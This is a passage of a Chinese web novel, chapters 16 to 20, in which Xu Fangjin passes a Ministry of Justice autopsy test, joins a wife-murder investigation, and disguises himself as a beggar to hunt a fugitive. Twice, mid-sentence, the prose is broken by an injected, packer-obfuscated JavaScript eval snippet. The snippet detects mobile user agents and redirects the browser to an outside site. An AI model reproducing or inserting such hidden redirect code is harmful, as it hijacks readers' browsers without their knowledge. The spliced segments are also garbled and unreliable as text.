直到送走了封衍,刑部侍郎一屁股坐在了厅堂的圈椅上,用帕子擦着额头上不住冒出的热汗,“琼羽年轻气盛,性情刚直,还是不懂宦海险恶。上头一句话就能让你永无翻身之地,再这么口无遮拦,为师怕是也保不了他。” 身旁的弟子递上热茶,“大人,您消消气。”又好奇地问了起来,“这江扶舟同怀王真的有什么深仇大怨吗?” 此时堂内无人,刑部侍郎饮一口茶后说起了陈年旧事:“当今圣上重返帝位,便是江扶舟宣的旨,以从龙之功再获隆宠。”他不敢声张,只凑在心腹身边低声道:“当年的宫变极其混乱,怀王还有太子的名分,本无意外,便是他登上帝位。” 都是聪明人,点拨一两句就明白了。 弟子虽初涉官场,但也知晓后面发生的事情,“后来太子被废,打入死牢,江扶舟嚣张跋扈,趁着他落难,向陛下求娶随意欺辱,结果难平众愤。” 刑部侍郎却有几分的深思,“若说年少气盛,谁能比得上当年的江扶舟,春风得意,圣宠优渥,冠绝京华。如今人走茶凉,又有几人记得。” 于是长叹一声,将盏中茶一饮而尽。 16. 第十六章 六部之中,刑部素来肃冷戾气重,盖因总理天下刑名,笔下杀伐无数。 国子监一行人跟着宋明川一路走来,只觉得阴气越来越重,耳畔仿佛能听到楚乌厉啼,身上的寒毛一根一根竖起来,走路都不利索了。 从人来人往到人迹罕至,每个人的心中都升起微妙的异样,他们来刑部历事,为何会到这般偏僻荒凉的地方来呢? 然而接下来宋明川的话让他们毛骨悚然,头皮发麻。 “此地是刑部的殓房,你们的第一关考核便在这里开始。” 所有人的脑子里好像被雷炸开了,平日里惯读圣贤书,作天下文,别说尸体,连流血的场面都甚少见。有些人听宋明川说这是殓房,下意识连步子都不敢挪动一步,生怕招惹上什么不干净的东西。 国子监属官面如死灰,如丧考妣,扫了眼一个个腿脚肚哆嗦的监生,心里哀叹,今年莫不是要全军覆没?往年从未有这样的考核,今年一上来就让人看尸体,不愧是宋明川这个声名在外的冷面阎王。 “刑部于十日前就会文国子监,下发了几本刑官需熟读的书目,念各位初来乍到,今日第一关考题较为寻常。便是同仵作一起验尸,验明死因。” 犹如晴天霹雳,现在不仅是要看了,还要验尸,这是什么道理? “敢问宋大人,刑部自有仵作验尸,此等三教九流的手艺何须我们亲自去学,莫不是宋大人存心为难我们吧。”一个国子监的学生再也忍不住心中的愤怒和惊慌,率先出列发出质问。 宋明川很平静地看他,“若是仵作作假糊弄你,暗中构陷你,作为刑官你如何看得出?人命关天,刑部落下的每一笔都关乎生死。若是不愿意,那就自便,六部之内,请君另择出路。” 那位国子监监生惊怒交加,对宋明川这种油盐不进的态度感到不满,听到这话不由得轻嗤出声,“若是仵作学艺不精心存恶意,自有律法论断,何须为难刑官?往年从未有这样的考核,我看就是宋大人故意刁难我们,以标榜自己的严苛。” 宋明川不跟他废话,直接转过头去对国子监属官道:“这个监生烦请带回,不惜人命,刚愎自用,毫无敬畏之心,刑部不会要。” 似是不敢相信自己就这般被扫地出门,那人恼羞成怒,他本是此次国子监历事监生中的头名,自叙才高,不料第一个被请退。他愤愤不平地走回了属官的身后。 枪打出头鸟,余下的人哪里敢置喙,哪怕再恐慌都硬着头皮往前走。 但走到殓房门口,乍然一阵猛风穿堂而过,似是发出尖锐的哀鸣,有两位监生当下腿就软了,直直地跌在了殓房,眼中满是惊慌,当下慌不择路,提起衣摆就死活不肯进去了,连滚带爬地又回到了原来的位置。 属官向来脾气好,只低声安慰他们不碍事,眼睛却紧紧钉在了陆续走进殓房的人身上,心下惴惴不安,暗自祈祷。 整整一排,站在前头跟木头桩一般,个个脸色刷白,面容憔悴。 宋明川低头翻看几位监生的履历,纸页的翻看声在此间尤为渗人,“还有不想看的,现在可以出去。” 徐方谨曾杀敌无数,自然不会畏惧死人,面不改色地第一个走出,走到了前头给他们准备的尸体旁。 见有人先去了,后头的人哆嗦着步子也一个个往前走去。 又是一阵风吹过,震得窗棂作响,视野里白布晃荡。 “诈尸了诈尸了!”这个直接吼了两嗓子之后趴在地上捂耳抱头,被宋明川喊来的刑部属吏两人一抬架了出去。 剩下的就是真的要开始验尸了,但徐方谨发现不是真的要他们去验尸,而是让他们在一旁看仵作,然后在备好的纸笔上写下自己认为的死因,这一关真正考的是胆识。 “呕——呕——” 又有两个监生在见到白布面色青黑的尸体时真的受不住,两眼一昏黑,直在地上干呕,不敢再看第二眼。 国子监属官在外头看着一个个被抬出来的人,想死的心都有了。 当白布掀开那一瞬,徐方谨的呼吸一窒,面前是一具被烧得焦黑的尸体,已经看不清面容,双手握拳,两腿蜷曲。 恍惚间他想起了鬼面给自己的那节焦黑断手,心间蓦然骤痛,昔日父兄葬身火海,该是怎样的痛不欲生,而他竟也不能替他们收敛尸首,苟活于世,何其愧怍。 身旁的温予衡一看他失神,仵作又要开始验尸了,以为他是怕了,连忙喊了喊他。 徐方谨立刻回过神来,垂眸低声说了句没事,然后屏气凝神继续看仵作的动作。 屋内静默无声,宋明川随意走动,眼神游离在每个人的身上,观察他们的神态和判断,很快他的目光落在了率先在纸上写下字的徐方谨身上。 “火烧,口中甚少烟灰,疑死后被烧。” 几个字落下,宋明川多看了徐方谨几眼。两人默默对视上,徐方谨露出礼貌的假笑,而宋明川极其冷淡的挪开了目光, 眼皮有些倦怠的徐方谨看到冷冰冰的宋明川不由得神游物外,心有余悸,熟悉的称呼让他不禁怀疑自己现在捏的这一张皮骨到底有几分像过去的自己。 徐方谨原身的脸便有几分像他,便是因着这个缘故,徐方谨这个孟家五服外的亲戚才将其送来京都陪他,后来他同封衍相识,也不着家,渐渐就疏远了徐方谨,再后来就听说他回徐家了,多年来杳无音讯,直到五年前,他在城隍庙里捡到时日无多的徐方谨。 徐方谨摸了摸脸,就算有些相像也不应被宋明川一下就喊出来吧,宋明川到底是有多恨他? 说起来他也不太记得上一回见宋明川是什么时候了,自从他强行嫁给封衍后,他们便从此决裂,简知许和赵鸣柯好几次想居中调和,也被宋明川冷漠回绝了。说来也巧,偌大的京都,熙熙攘攘,他们竟无再见之日。 今日乍然相逢,恍若隔世。 这一关最后留下了十个,但大多面如土色,头昏眼花。本来以为今日到此为止的监生却听到了宋明川传来的噩耗。 “最后一关,撰写文书,此关若考核不过也可留在刑 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眼看着给的最后一炷香就要燃尽,这才有人起身交卷。 徐方谨翻阅过好几次,揉了揉酸痛的手,闭目养神过几息,便起来走上前呈交。 宋明川接过他写的文书,一目十行,很快翻过了一页又一页,看罢,他问:“写得不错,看来是用功了。” 徐方谨脚步虚浮,勉强打起精神来听,这几日极耗精神,将从国子监和陆云袖那借来的书连夜苦读,时日太短,也只能囫囵一读,今日落笔还是磕磕绊绊的。 “陆大人说若你通过考核,便要你过去同参近日浙江的杀妻案。本官以为不妥,此案牵涉甚广,实涉险境,非你一介学生能担得起。初入刑部,应是铢积寸累,不可冒进。本官手上有未名府的一起烧杀案,你写的那句‘疑死后被烧’正是我之思。若你应允,明日便可同参此案。” 徐方谨听前半句还迷糊,后半句直接给惊醒了。 想都没想直接拒绝了,“学生不才,蒙陆大人青睐,还是想尽力一试。” 宋明川紧拧眉心,抬起手中的纸页还想再说什么,却被倚在门栏上声音打断,“宋大人,你这可不厚道。” 陆云袖抱臂,随性地依靠在侧边的柱上,“我还在这,转眼就要把我要的人要走,这是什么道理?” 陆续写完的监生都偷偷朝这边看,竖起耳朵听两位上官的对话,心里也不免羡慕徐方谨的际遇。 “浙江一案本就波谲云诡,险恶万分,你又何必让他们身涉险境。”宋明川怫然不悦。 陆云袖淡淡扫他一眼,“我的人我自会护着,就不牢宋大人费心了。”她掸了掸衣袖上的灰,“听闻浙江的另外一起妖言案击鼓传花,都送到宋大人这来了,还是多担心自个吧。” 一时剑拔弩张,彼此眼神交锋,所有人的心都悬在嗓子眼里。 只见宋明川静静地看陆云袖和徐方谨一眼后,没再说一句话,拿起交上来的案卷,拂袖而去。 17. 第十七章 雾蒙蒙的天,晨起时下了些雨,天际折过一角,铅灰色的流云沉沉挂落。 皂靴踩过积水,封竹西站定在刑部大狱前,怀里还揣着几个热腾腾的肉包子,他三两下就吃掉了一个,热得直烫嘴,灌了几口水才缓过来。 见徐方谨和温予衡也来了,慷慨地将肉包子一人分了几个,三个人就这样在刑部大狱旁的角落里一齐吃包子。似是起得早,几个人的眼神都有几分呆滞,夹杂着雨丝的风吹得衣袂飘飘。 徐方谨吃完包子,净了手,从怀中取了三个腰牌来分了分,上头开列名姓,烙印着司务厅的火印,这是昨日散考后陆云袖递给他的,让他们明日辰时去刑部大狱。 门差检查过他们的腰牌之后便放行让他们进去。 风扫落叶,乌鹊啼鸣,有些湿冷的气息漫散在期间,绵密的雨雾中,站着几个人。 刑部每月安排十三清吏司的一个主事提点刑部大狱,督管六名司狱官和若干差役,每晚提牢官清点狱囚,封锁各个监门,至天明司狱官去提牢官手里领钥匙开锁。 此时提牢官将钥匙递给了司狱官,嘱咐了几句后便匆匆往徐方谨的方向快步走来,衣袖上沾湿了些许的雾气,忙不迭先是给封竹西行了礼,又说起了陆云袖的吩咐。 “陆大人让下官领各位过去。” 封竹西左看右看,看哪都觉得新奇,“你们陆大人也来得太早了吧,她家住崇东坊,三法司这可远着呢。” 闻言,提牢官露出了一言难尽的表情,“小郡王有所不知,自从陆大人接旨后,便住进了刑部大狱的值房里,与狱卒狱犯同吃同住,甚少离开,已经许久未归家了。日日审卷巡牢,焚膏继晷,就是铁打的身子也受不住呀。” 封竹西大吃一惊,想起自己接旨后吃好喝好,还得空到京郊跑马,才明白沈修竹说自己不务正业是正解。他干咳了一声,露出尴尬的笑容,“我一定好好劝陆大人。” 提牢官引着几人到陆云袖暂时居住的值房后便告辞了,刑部大狱每日的琐事颇多,加之陆云袖坐镇其中,司狱差役们都提着一口气,生怕行差踏错,不敢有丝毫的懈怠。 刑部是出了名的苦衙门,六部之中补费最少,也就紧着些赃罚钱过活,身上却压着千斤重担。刑部大狱的值房自打三年前就说要修缮,但缺银少两,东挪西腾,这里就搁置下来了。陆云袖住进来之后,也就临时搭了个木板做隔断,隔开了就寝的一张低窄木床,又让人搬了一张大案几和几张椅子来,每日便埋头在此处处理政务。 徐方谨几人进来的时候,陆云袖还在挥毫笔墨,桌上一摞一摞整齐放着各种卷宗书册,她匆匆写过几个字后,便搁笔,“此地简陋,委屈你们了,坐吧。” 还没等徐方谨他们屁股坐热,就见又有一人也在后头跟着进来,瘦瘦高高的,一张脸白净,有几分稚气,眼眸清澈。 封竹西、徐方谨和温予衡三个人面面相觑,然后又齐刷刷看向他。 陆云袖向大家介绍,“这位也是国子监的学生,那日在街上偶然遇见,见他健步如飞,力大如山,是个练家子,日后也能帮上忙。” 说着,那人便开始展示起来,只见他毫不费力地徒手抱起了一块门口的大石,又稳稳当当地放下,继而坐在了石头上,一整个过程行云流水,像是完成了一套技艺高超的杂耍,看得三人是目瞪口呆。 虽然他们也不知道为什么刑部值房门口为什么要放一块大石,但这不妨碍他们对这个天生神力的瘦高男子的惊奇。 陆云袖也没想到那日让他就地演示的石头到现在还留着,扯了扯嘴角,“好了,现在开始说正事吧。” 封竹西思维跳脱,提出了心中的疑惑,“陆大人,你怎么没说人家叫什么?” 陆云袖也没在意,一边整理案桌上的卷宗,一边随口道:“他叫郑墨言。” 其他两人没什么反应,却在徐方谨的心中掀起巨浪,这名字太耳熟,以至于他立刻就想起了鬼面给他的字条,手指屈伸略微摩挲,不动声色地就想去看郑墨言,谁知道他也看过来,干净的眼眸仿佛能让人一眼看穿,但徐方谨不得不打起十二分精神来。 对方是敌是友未辨,他不能掉以轻心。 陆云袖将案桌上收拾干净,留出一大片空位出来,用手指敲了敲,“废话就不多说了,我们现在开始梳理一下案情。” “这个案件事发于浙江省崇德县,经由地方县衙审后提交到嘉善府,而后报浙江提刑按察使司,再转刑部审核,批答后经大理寺覆审,最后下发浙江省处决。本来这个李忠冲在浙江就应该被处决,但是阴差阳错随着浙江另外一起妖言案的主犯移交京师,出现在法场上。” “我翻看了刑部审查的记录,只有地方呈报上来的看语,案情事由是李忠冲向妻子王氏的父母告知了王氏失足坠河而亡的消息,王氏父母匆匆赶来,打开棺椁后却笃定这个不是自己的女儿,于是向崇德县状告李忠冲杀人藏尸,崇德县遂下发牌票拘捕李忠冲。李忠冲一开始抵死不认,后来严刑下承认了是因为自己好赌,败散家财,妻子要同他和离,义愤下失手杀了妻子,然后带到河边伪装成失足落水。” 陆云袖眉头紧皱,“可这个案子没有那么简单,李忠冲的父亲上京控告自己的儿子没杀人,杀人的另有其人。我后来再次提审李忠冲,也发现了诸多疑点。” “李忠冲现下的供词说是一个叫张孝贵的富家公子强抢民女,凌/辱至死,他在张孝贵的胁迫下只能谎称妻子是失足落水,连那具溺水尸体也是张孝贵给的。张家在地方势大,买通了逐级官府,严刑拷打,让他求告无门,连累了不少亲朋,最后屈打成招。” 徐方谨四个人一边听陆云袖讲,一边低头看书吏抄录的几份看语,纷纷陷入了沉思。 “你们怎么看?”陆云袖停下来看他们几个。 徐方谨将供词翻了翻,“李忠冲没交代他好赌的事情,将全部的罪责都推给了张孝贵,我觉得没那么简单,李忠冲跟张孝贵可能有往来。” 封竹西托颌略思索,“张孝贵是何人,竟能买通怎么多人,从崇德县衙一直到 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这一出跌宕起伏听得几人是心潮起伏,而后陆云袖的再一句话,让他们感受到了这个案情的棘手之处。 “此外,张孝贵的身份不一般,他是内阁金大人姑母的独子,” 金知贤在刑部任职十年之久,现在部里还有不少门生故旧。现任的刑部左侍郎便是他的学生,且在陛下的旨意里一同审理此案。但这话陆云袖没有说给他们听。 封竹西差点惊掉了下巴,他没想到一个看似简单的案子背后有如此多的牵扯,而徐方谨则再次翻看起了手中的卷宗。 徐方谨看向陆云袖,“现在得找到张孝贵,不然案子无法推动下去。” “不错,所以你们现在得去找张孝贵。”陆云袖点头。 “???” 所有人的脑子里不由得冒出了困惑,他们不是审案的吗?抓捕不是差役的活吗? 陆云袖解答:“浙江已经发了牌票出去抓捕张孝贵,但官府里走漏了风声,让张孝贵跑了。我收到消息,张孝贵可能潜逃来了京都。但他没往金府跑去,反而可能游走在了城北。张孝贵同宫中的太监有些往来,或许我们能在那里找到他。” 至于为什么不让刑部的差役去抓,陆云袖沉吟了一会,“尽量不要打草惊蛇,你们看你能不能把人偷偷抓回来。” 偷偷抓? 这么大的一起案件,要他们尝试不经官府偷偷抓人回来,这背后的隐情可不小,不能细思深究。 一长串的话说下来,封竹西几个人的脑子都蒙蒙的,纷纷再次低头看起了手里的供状。 最后陆云袖让他们兵分两路,郑墨言和徐方谨两人去城北寻觅张孝贵的踪迹,而封竹西和温予衡则去城西打探,然后被陆云袖叮嘱了若是寻到人不要轻举妄动,有什么消息都有回来大家一同商议。 几个人走出刑部大狱,外头已是日头高照,毒辣的日光打照在他们的身上。 徐方谨缓步慢行,看了眼跟着一旁寸步不离的郑墨言,只觉得更是头大。 18. 第十八章 京都城北的破庙里头,这几日的暴雨让屋檐遮盖的瓦片不住地掉落,溅落的水花啪嗒落地,滚落了泥尘。前日这破庙掉下来的破瓦砸死了一个乞丐,本来还在此处歇脚的几个乞丐不敢停留也都走了。唯有两个不怕死的,别人劝都不走。 徐方谨蹲在一旁,看到碎石边积了一滩混杂的泥水,顺手就用手抹了点,涂在了脸上,额角和脸侧各来一点,加上身上穿的灰不溜秋的碎布破衣,任谁都说这就是叫花子。 跟着徐方谨蹲守在此地已经好几日的郑墨言,一张稚气的脸此时表情呆滞,一个没注意被徐方谨抹了几下泥点子,“你做什么……” 徐方谨啧啧两声,顺手又多抹了一些在他脸上,凑近去看,“你这张脸真不适合扮乞丐,太白净了,泥点抹了也看不太出来。” 郑墨言幽幽看他,“你不是说我是傻子吗?” 他俩已经在此守了好几日了,张孝贵没遇见,倒是遇见不少从河南逃难过来的灾民和乞丐,郑墨言这张脸太突出,徐方谨只能跟别人说他是傻子,让他就缩着身子,眼珠子一个劲盯着地方,一来二去他就这样扮了几天傻子,还要咧嘴笑把好心给他馍的人吓走。 直到前日此地出了命案,草席子一滚扔去了乱葬岗,人都被吓跑了,他自然不用扮傻子了。但郑墨言对于徐方谨扮乞丐那么像还是感到惊奇,破衣烂布,佝偻背半跛脚,活像个叫花子。 徐方谨很淡然,“权宜之计,你要懂得隐忍。” 郑墨言:“……” 徐方谨认真端详了一下他,忽然话锋一转,“永王世子是你什么人?” 突然冒出来的话让郑墨言怔楞了一下,但他还是老老实实地说,“他母亲是我表姨母。” 徐方谨若有所思地点头,一时也摸不透永王世子到底想让他这个表亲来他身边干什么,看着不太聪明的郑墨言,他拿树枝在地上无聊地乱划,随口问了出来。 他没想到郑墨言也不避讳,一双诚实的眼看他,“帮你做事,顺便看着你。” 这一招几乎是明牌的话让徐方谨觉得这几天想那么多都是在浪费时间,嘴角往下拉了拉,从怀里掏出了一个烧饼扔给他,“那你就好好看着我,吃个烧饼吧,眼睛别黏在我怀里了,我给你还不行吗?” 早对烧饼垂涎已久的郑墨言拿过来就啃了起来,两腮鼓鼓囊囊,圆溜溜眼的清澈见底,一边吃一边点头,嘴里还含含糊糊的,“好。” 忽然一阵脚步声急匆匆传来,徐方谨浑身一震。 以迅雷不及掩耳之势将还吃着的郑墨言一把推到隐秘的角落里藏起来,自己则顺势翻了个身,躺在了地上,装作死了的样子。 只见一个四十多的矮胖男子和一个十来岁的半大小子走了进来,踩了几脚泥水,嫌弃地环顾四周,“这城北破落穷鬼就是多,连个庙都是破破烂烂的。” 小子好奇地探了探头,“刘管家,你说少爷他会来这吗?我们都在这附近好几日了,也没见半个人影。” 管家额头不住淌汗,从怀里拿出绵白帕子擦了擦,“少爷惹上了命案,千里迢迢从浙江逃走,身上又没带几个钱,离家前说是认识几个宫里的人,要到城北来,再等两日吧,许是要来了。” 那小子点点头,又往前走了几步,一个没注意被一只脚绊了一下,整个人突然摔在了地上,他气急败坏,看到衣着破烂,躺在地下一动不动的人,突然跳起来大叫一声,“有鬼呀。” 管家也被他吓了一跳,凑近几步看了眼,又满脸厌嫌地别过脸去,“不就是个死掉的叫花子吗?你慌什么!这几日死人还见得少呀,河南闹饥荒,逃到京都来了,没饭吃没得住,城外乱葬岗烧了一批又一批。” 小子心有余悸,被管家这么一说火气就上来了,一脚狠狠踢在了徐方谨的腿上,“死叫花子,死了都不安生,叫你绊小爷。” “好了,快走吧,别在这耽搁时间了。” 徐方谨不敢乱动,生生挨了那一脚,痛得内里的筋都在抽,不敢放松,只听得脚步声渐渐错乱着,似是走远了。 他躺着好一会他才缓过来,心想这几日的辛苦没有白费,总算知道了些有用的消息,悄悄屈了一下生疼的腿,本想看一眼郑墨言的动静,但很快又听到了脚步声,他赶紧闭上了眼睛。 忽然一声稚嫩的声音在身旁响起,“你还活着吗?这里有馒头,你吃不吃?” 徐方谨睁开了眼睛,只见一张油纸包着一个大白馒头放在了他不远处,他侧身警惕地慢慢坐起来,映入眼帘的是一个四五岁的小孩,墨黑的瞳孔水灵灵的,锦衣华贵,但整个人看起来瘦瘦小小的,后来两步还跟着两个高大的护卫。 蓦然他的目光凝在了小孩腰间挂着的一个赤红色的琉璃玛瑙串着的绳结上,心间倏而骤痛,呼吸凝滞在狭小的鼻腔内,些许的涩意涌现在眼角。 刚才被踹的腿不自觉抽痛,徐方谨下意识想用手擦干净脸上的泥渍,眸光流转间却看到越擦越脏的手,他手脚慌乱地用身上边角的碎布努力去擦手指,一时没了主意,只觉得整个脑子都是混沌模糊的,找不到半点理智。 星眠歪了歪头,漆黑的眼眸眨巴眨巴的,不知道为什么眼前这个人动作那么奇怪,不顾身后护卫的阻拦就用两只瘦瘦小小的手抱起油纸来,递给了徐方谨。 “是不是饿了,吃点吧。”星眠稚声稚气地说。 徐方谨眼角的一滴泪倏而滑落,整个眼眶兜不住心间满载的痛楚,颤抖着手接过白馒头,脏污的双手跟馒头形成的鲜明的色差。 见他哭了,不知为何,星眠的心里也闷闷的,抿了抿唇,“你别哭,是不是饿太久了,我这还有好几个,不给别人,都给你好不好。” 这几日星眠想出来走一走,听先生说河南来了许多流民,城北正在施粥,他便想去看看。父王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251953|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不想他来,见他难得身体好些便也放行了,只是身旁的护卫比以往多了几番,大多藏在暗处,随时注意着他。 徐方谨混着眼泪咬了一口,听到这一声心绪极其复杂,随手抹了一把眼角的泪,声音干哑,“我……饿了好几天,实在没东西吃了,小公子心真善。” 星眠有些可怜他,从身后护卫的手里又拿来了几个馒头,热乎着,都给了他。 “城北和城外在给流民布施,你怎么不去呀。” 徐方谨侧身爬了几步,想要靠近星眠再一步却被乍然抽出的长剑冷锋阻住了路,不过这几步足够星眠看到他拖着个腿,不良于行。 星眠心中的怜惜更甚,他让护卫收起剑来,慢慢蹲下,想要和他的眼睛对视,“你的腿怎么了?不能走路了吗?” 徐方谨舌苔间满是酸涩,再出口已经是垂着眼眸不去看他,“还能走,不小心摔了,走得慢些,抢不过别人。” 躲在后头看到这一切的郑墨言瞠目结舌,心下不免为徐方谨这高超的演技折服,身形微微一动,就对上了小孩身后的护卫森冷的眸光,顿时他又缩了回去,不敢再动。 星眠托着下颌,似是很苦恼,“这样呀……” 话音未落突然听得闷重从头顶传来,徐方谨瞳孔猛然一缩,几乎是本能,拖着一条腿,飞身而起,将星眠推给了了身后的护卫。 “啪嗒!” 星眠吓了一大跳,唇色惨白,再睁眼就看到刚刚自己站的地方一块瓦片掉落砸碎了,他连忙转头看,便见徐方谨滚落在一旁,所幸也没看到有砸伤的痕迹。 他细声细气地说,“谢谢你救了我。” 徐方谨抱着腿侧过身去,乱糟糟的头发遮盖住了表情,嗓子干哑着,“多谢你的馒头,回家吧,以后莫要来了,这里太危险了。” 听到这话,星眠心里空落落的,他转头看向了护卫,护卫低头在他耳畔说了几句,他只好失落地垂下头来,又问,“那你能吃上饭吗?” “小公子不是说城北在布施吗?我这腿养了几日也快好了,明日就去,您回家吧。” 眼见着就要过了和父王约定的时刻,星眠必须得打道回府了,他依依不舍地看了徐方谨几眼,但徐方谨只侧着身,头发蒙着面,一身乱糟糟的。 星眠走得很慢,忽而听到身后传来的几句歌谣—— “瞧一瞧、看一看,这里来个穷要饭哎。给个馍,给口汤,祝恁长命又健康。”【注】 他回头一看,破落的庙里徐方谨孤身坐着,支着另外一条腿,风一吹,寥落又冷清,直到走远了,他的心感到了几分莫名的失落。 眼见着人走远了,徐方谨整个人瘫倒在地上,郑墨言见状立刻蹿了出来,将人慢慢扶起来,以为是刚刚被人踹疼亦或是被瓦片砸到了。 只听徐方谨低声喃喃,声音多了几分涩苦。 “怎么那么瘦。” 19. 第十九章 刑部大狱的值房,擎着两柱明亮的蜡烛,灰黑的墙角放了一张大通铺,剥落的墙皮露出斑驳的痕迹。 这间屋子是原来大狱值房堆放杂货的耳房,一直跟着隔壁值房一起没修缮,这回临时搬来了床铺让来国子监历事的三个监生住。徐方谨他们几个看陆云袖每日亲力亲为看着监牢甚是劳累,于是就主动提议他们也每日轮换去看守嫌犯。 今日陆云袖有事要提审李忠冲,他们三个就回到住处先行歇息,封竹西也去怀王府听学了。 温予衡正在温书,准备明年的会试,他有些气躁,目光瞥向了坐在一旁吃了一晚上的郑墨言,用肘悄悄捅了捅他,低声问,“慕怀这几日在忙什么?我看他这几日回来之后都没见人影,很晚才回来。” 郑墨言咬了一口绿豆糕,不甚在意地晃了晃悬空的腿,吃着糕点嘴里含糊,“他在破庙认识一小孩,看着瘦瘦弱弱的。人家给了他几个馒头,他就想着给人求个平安符,听闻城西承安寺求孩童平安最是出名,便趁夜一步一叩首给人祈福。” 这头的徐方谨认真细致,对着烛火埋头捣鼓,红色的绳结在他手里被灵活地编起来,渐渐勾勒出一个如意扣的形状来,烛光摇曳,倒映着人影晃动。 温予衡若有所思的点点头,“原来如此……” 心中的疑虑更甚。 郑墨言今日又跟徐方谨在破庙里蹲了一日,早已腰酸背痛,他一口吃掉绿豆糕,又捻了一个桂花糕,白稚的脸略过几分挣扎,想着还要不要再吃一块。 “再吃就积食了,昨晚难受的是谁?”徐方谨连头都没抬就知道郑墨言在整什么幺蛾子,手指飞快不停歇,快速又缠绕了一圈红绳。 郑墨言讪讪一笑,又心虚地将手头的糕饼放了回去,见二人都有自己的事做,便踮起脚尖偷偷跑到外头走走。 温予衡轻笑,将书册翻过一页,空白的纸笺压在下头,他漫不经心地提笔写了几个字——晚归,求平安符 落笔风干后夹在书里,他快速跳动的心才慢慢缓过来。 *** 城北破庙里,徐方谨懒懒地敲着个破碗,目光却始终逡巡在门口,说实话他其实不抱期待星眠会再次回到这个地方,但心里却始终藏着几分说不清道不明的念想。 几日过去也没等到,他叹了口气,只得叮咚叮咚有节奏地敲着面前的碗。 “你还在这里呀?” 小跑过来的脚步很轻,暗金织云防风斗篷随风飞舞,星眠亮晶晶的眼睛看他,这回他不敢站在屋内,只站在院里的空地里,同徐方谨隔着小段距离。 徐方谨心中一喜,但很快压制住内心的情绪,声音放轻来,“小公子怎又来了?” 星眠认真看了徐方谨好几眼,这回他没有往脸上抹泥点,只是有些烟灰的痕迹,他将手帕递给他,“擦了擦,脏了。” 还怕他不知道哪里脏,就用小手指了指自己的额头和两颊。 徐方谨慢慢接过那月白色的帕子,捏在手里。这一回他和星眠对视上,心狠狠一抽,压抑的苦楚郁积在胸腔里,心口发酸发痛,像是破了一个大洞,冷风不住地往里头灌。明明已经七岁了,怎么还似长不大,只有寻常孩子四五岁般大。 “想起你了,就想来见你。”星眠神情专注。 这话直接往徐方谨心上重重撞了一下,他一时语涩,只慌忙地攥紧了手中的帕子,别过头去不看他,生怕叫他看出他眼底的翻涌的情绪,“我们这些叫花子,怕污了小少爷的眼。” 星眠不解,“为何这样说?”又摸了摸自己的眼皮,“我的眼睛的好好的呢,你别怕。” 身后的护卫眼角抽了抽,一时无语,但见星眠难得有兴致,也不便打扰,只警惕地关注着眼前人的行动。 童言稚语最是天真,徐方谨捂着沉闷的心口,怀里掉出了一个红色的平安扣绳,上头系着一个小巧精致的平安牌,他接过放在手里。 与此同时,星眠也从护卫手里提来了一个包袱,他兴致勃勃地打开,抬头就看到了徐方谨手里拿着的东西,不由得眼前一亮。 他飞快低头解过腰间的赤色琉璃玛瑙绳来,上面的绳结已经有些松动了,他很努力想要自己去修复这个用了多年的绳结,可都无果。但他舍不得丢,听父王说,这是阿爹亲手给他编的,就这么一个。 眼下见到一个几乎一模一样的,他兴奋极了,“你也会编绳吗?我阿爹也会,你这跟他一模一样呢。” 而后他很快又想到了什么,眸中的光一下暗淡了,“是你自己的吧,这是平安扣,不能随便拿别人的。” 徐方谨求神拜佛了几日,怕他不肯要,急忙道:“我要这个绳也没什么用,跟你换一些吃的就好。” 听到可以给他,星眠开心地在原地蹦了一个圈,将包裹一股脑递过去,“我都给你,不够的话我再拿给你。” 眼睛完全黏在了徐方谨手里漂亮的绳结上,心想他可以将阿爹编的那个放在木匣里藏在床头了。 徐方谨怔楞地低头看散落的包袱里头装着好几代油纸包着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兴同坊的巷尾?徐方谨觉得这个地方很耳熟,沉思片刻,猛地想起来那是西苑,宫中太监的外宅。 这个张孝贵莫不是真的同宫中的人相熟吧,若是牵扯到內监,那事情就极其棘手了。 郑墨言听罢之后表情同样凝重,“那我们得快刀斩乱麻,出其不意抓住他才行,不能再给他机会跑了,不然就可能抓不到了。” 探听到这个重大消息,两人哪里还坐得住,收拾东西立刻就奔回刑部大狱。 20. 第二十章 城北兴同坊的巷尾是独一处的僻静,一般的喇唬和帮闲都不敢来这惹事,私底下都知道西苑水深着,东厂的人不过来过一两次,犯事的人自有法子知道这里的人惹不起。 隐隐的闹市里,七拐八拐才能摸到些门道,远远看到围栏里的静默的深院,似是为了掩人耳目,内侍太监都换上私服才兜兜转转来这一趟。 “诶,那个买糖葫芦的,给我来上两串。”一个小厮用腰间的缠着的布擦了擦汗,从兜里掏了几个铜板出来。 郑墨言经过几日的训练和排演早就动作熟练,一串给人家拿着,一串用油纸给人包起来带走,麻溜地收了钱,见人走远了,顺手摘了一串糖葫芦塞进嘴里,嘎嘣嘎嘣咬了一个,眼睛眯成一条线,嘴里甜滋滋的。 他力气大精力足,扛着两大束糖葫芦串一口气走十里都不在话下,带着头巾,往白净的脸上抹了些灰黑,装束一扮,一个小贩就开始走街串巷了,早两日他就在这看着,还卖出了好几串,当然他自己也吃了不少。 离他较远的徐方谨和温予衡早通过关系混上了给西苑送米送菜的。得知消息的后两日他们便发现了张孝贵出没在西苑,茶楼里悄摸一探听便知道他焦急上火,估计是没找到门路,这几日还会再回来。他们不敢打草惊蛇,便提前在此地设伏。 两人已经在这搬了一个时辰了,老老实实地搬上搬下,眼睛在行步间观察着一切来往的人。 突然一个人急冲冲撞上来,温予衡手上一大把菜叶子就往天上飞散开来,笼子里的鸡鸭扑腾叫了起来,扑哧着羽毛乱飞。 